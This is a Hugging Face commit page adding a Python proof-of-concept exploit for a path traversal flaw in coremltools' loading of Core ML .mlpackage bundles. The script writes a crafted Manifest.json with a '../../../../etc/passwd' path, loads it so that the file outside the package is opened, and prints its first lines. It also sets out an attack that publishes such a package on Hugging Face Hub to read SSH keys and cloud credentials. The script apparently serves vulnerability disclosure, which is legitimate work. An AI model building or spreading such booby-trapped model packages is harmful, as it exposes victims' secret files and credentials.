ryansecuritytest-fanpierlabs commited on
Commit
a281da2
·
verified ·
1 Parent(s): c13e6c2

Upload poc_coreml_path_traversal.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. poc_coreml_path_traversal.py +206 -0
poc_coreml_path_traversal.py ADDED
@@ -0,0 +1,206 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ PoC: Path Traversal via Manifest.json in Core ML .mlpackage Model Bundles
3
+ ==========================================================================
4
+
5
+ Vulnerability: The `path` field inside Manifest.json's itemInfoEntries is
6
+ concatenated with the package's Data/ directory using std::filesystem::path
7
+ operator/ (ModelPackage.cpp line 466) with NO sanitization or containment
8
+ check. A relative path containing "../" sequences escapes the package
9
+ directory entirely.
10
+
11
+ The validation at line 308 only calls std::filesystem::exists() on the
12
+ resulting joined path -- it verifies the *target* exists but never checks
13
+ that the resolved path is still inside the .mlpackage bundle.
14
+
15
+ When coremltools.utils.load_spec() is called on a malicious .mlpackage,
16
+ it calls getRootModel().path(), which returns the traversed path. Then
17
+ load_spec() opens that path with open(specfile, "rb") and reads its
18
+ contents (utils.py line 270-271), achieving arbitrary file read.
19
+
20
+ Impact: Any application or pipeline that loads untrusted .mlpackage files
21
+ (e.g., from Hugging Face Hub, user uploads, CI/CD) can be tricked into
22
+ reading arbitrary files from the host filesystem.
23
+
24
+ Usage:
25
+ python poc_coreml_path_traversal.py
26
+ # Creates ./malicious.mlpackage/ with a crafted Manifest.json
27
+ # Then demonstrates the path traversal by loading it with coremltools
28
+ """
29
+
30
+ import json
31
+ import os
32
+ import sys
33
+ import shutil
34
+
35
+
36
+ def create_malicious_mlpackage(output_dir="malicious.mlpackage",
37
+ traversal_target="../../../../etc/passwd"):
38
+ """
39
+ Create a .mlpackage directory structure with a Manifest.json whose
40
+ itemInfoEntries contain a path traversal payload.
41
+
42
+ .mlpackage structure:
43
+ malicious.mlpackage/
44
+ Manifest.json
45
+ Data/
46
+ (empty -- the traversal path points outside)
47
+
48
+ The Manifest.json references a "path" like:
49
+ "../../../../etc/passwd"
50
+ which, when joined with <package>/Data/ via operator/, resolves to
51
+ a location outside the package.
52
+ """
53
+
54
+ # Clean up any previous run
55
+ if os.path.exists(output_dir):
56
+ shutil.rmtree(output_dir)
57
+
58
+ # Create package directory structure
59
+ os.makedirs(os.path.join(output_dir, "Data"), exist_ok=True)
60
+
61
+ # Build the malicious Manifest.json
62
+ # The key vulnerability: the "path" field is used unsanitized at
63
+ # ModelPackage.cpp:308 (validation) and :466 (findItem/getRootModel)
64
+ #
65
+ # auto path = m_packageDataDirPath / itemInfoEntry->getString("path");
66
+ #
67
+ # With traversal_target = "../../../../etc/passwd", the resolved path
68
+ # becomes: <package>/Data/../../../../etc/passwd => /etc/passwd
69
+ manifest = {
70
+ "fileFormatVersion": "1.0.0",
71
+ "rootModelIdentifier": "malicious-item-id",
72
+ "itemInfoEntries": {
73
+ "malicious-item-id": {
74
+ "path": traversal_target,
75
+ "name": "model.mlmodel",
76
+ "author": "com.attacker.evil",
77
+ "description": "Proof of concept path traversal"
78
+ }
79
+ }
80
+ }
81
+
82
+ manifest_path = os.path.join(output_dir, "Manifest.json")
83
+ with open(manifest_path, "w") as f:
84
+ json.dump(manifest, f, indent=2)
85
+
86
+ print(f"[+] Created malicious .mlpackage at: {os.path.abspath(output_dir)}")
87
+ print(f"[+] Manifest.json written with traversal path: {traversal_target}")
88
+ print(f"[+] Resolved path will be: <package>/Data/{traversal_target}")
89
+
90
+ return os.path.abspath(output_dir)
91
+
92
+
93
+ def demonstrate_path_leak(package_path):
94
+ """
95
+ Show that coremltools resolves the traversed path and attempts to
96
+ read the file at the attacker-controlled location.
97
+ """
98
+ print("\n[*] Attempting to load malicious .mlpackage with coremltools...")
99
+ print("[*] This demonstrates the path traversal in getRootModel().path()")
100
+
101
+ try:
102
+ import coremltools
103
+ from coremltools.libmodelpackage import ModelPackage
104
+
105
+ # This is the core of the vulnerability:
106
+ # ModelPackage reads Manifest.json, and getRootModel() calls
107
+ # findItem() which joins m_packageDataDirPath / unsanitized_path
108
+ pkg = ModelPackage(package_path)
109
+ root_model = pkg.getRootModel()
110
+ resolved_path = root_model.path()
111
+
112
+ print(f"[!] getRootModel().path() resolved to: {resolved_path}")
113
+
114
+ # Check if the resolved path escapes the package directory
115
+ real_resolved = os.path.realpath(resolved_path)
116
+ real_package = os.path.realpath(package_path)
117
+
118
+ if not real_resolved.startswith(real_package):
119
+ print(f"[!] PATH TRAVERSAL CONFIRMED!")
120
+ print(f" Package dir: {real_package}")
121
+ print(f" Resolved to: {real_resolved}")
122
+ print(f" The path has escaped the package directory.")
123
+ else:
124
+ print("[-] Path did not escape (unexpected).")
125
+
126
+ # In a real attack scenario, load_spec() would call:
127
+ # open(resolved_path, "rb").read()
128
+ # reading arbitrary file contents. We demonstrate this:
129
+ if os.path.exists(resolved_path):
130
+ print(f"\n[!] File exists at traversed path. Reading first 5 lines:")
131
+ with open(resolved_path, "r") as f:
132
+ for i, line in enumerate(f):
133
+ if i >= 5:
134
+ print(" ...")
135
+ break
136
+ print(f" {line.rstrip()}")
137
+ else:
138
+ print(f"\n[*] Target file does not exist at: {resolved_path}")
139
+ print("[*] But the path traversal is still proven by the resolved path.")
140
+
141
+ except ImportError:
142
+ print("[!] coremltools not installed -- showing static analysis instead.")
143
+ print("[*] When loaded, the Manifest.json 'path' field flows to:")
144
+ print(" ModelPackage.cpp:466 -> m_packageDataDirPath / attacker_path")
145
+ print(" utils.py:265 -> getRootModel().path() => opens the file")
146
+ print("[*] No canonicalization or containment check exists.")
147
+
148
+ except Exception as e:
149
+ # The validation at line 308 checks exists() on the traversed path.
150
+ # If /etc/passwd exists, validation passes. If it doesn't, we get
151
+ # an error but the path resolution is still demonstrably broken.
152
+ print(f"[!] Exception during load: {e}")
153
+ print("[*] This may indicate the target file doesn't exist, but")
154
+ print(" the path traversal logic is still exploitable when the")
155
+ print(" target file does exist on the victim's system.")
156
+
157
+
158
+ def demonstrate_huggingface_scenario():
159
+ """
160
+ Describe the realistic attack vector via Hugging Face Hub.
161
+ """
162
+ print("\n" + "=" * 70)
163
+ print("ATTACK SCENARIO: Hugging Face Hub")
164
+ print("=" * 70)
165
+ print("""
166
+ 1. Attacker creates a Hugging Face model repository containing a
167
+ malicious .mlpackage directory (it's just a directory with JSON).
168
+
169
+ 2. Victim runs:
170
+ from huggingface_hub import hf_hub_download
171
+ model_path = hf_hub_download("attacker/evil-model", ...)
172
+ # or uses coremltools directly:
173
+ import coremltools
174
+ model = coremltools.models.MLModel("downloaded.mlpackage")
175
+
176
+ 3. coremltools calls load_spec() -> ModelPackage(path).getRootModel().path()
177
+ which resolves the traversal path and opens the target file.
178
+
179
+ 4. Attacker exfiltrates sensitive data:
180
+ - /etc/passwd, /etc/shadow (system info)
181
+ - ~/.ssh/id_rsa (SSH keys)
182
+ - ~/.aws/credentials (cloud credentials)
183
+ - Environment variable files, config files, etc.
184
+
185
+ The .mlpackage format is a plain directory, not a compressed archive,
186
+ so Hugging Face's git-based storage will host it without modification.
187
+ """)
188
+
189
+
190
+ if __name__ == "__main__":
191
+ print("=" * 70)
192
+ print("PoC: Core ML .mlpackage Path Traversal via Manifest.json")
193
+ print("=" * 70)
194
+
195
+ # Create the malicious package targeting /etc/passwd
196
+ package_path = create_malicious_mlpackage()
197
+
198
+ # Demonstrate the vulnerability
199
+ demonstrate_path_leak(package_path)
200
+
201
+ # Show the Hugging Face attack scenario
202
+ demonstrate_huggingface_scenario()
203
+
204
+ # Cleanup note
205
+ print("\n[*] Malicious .mlpackage left at:", package_path)
206
+ print("[*] Run: rm -rf malicious.mlpackage to clean up.")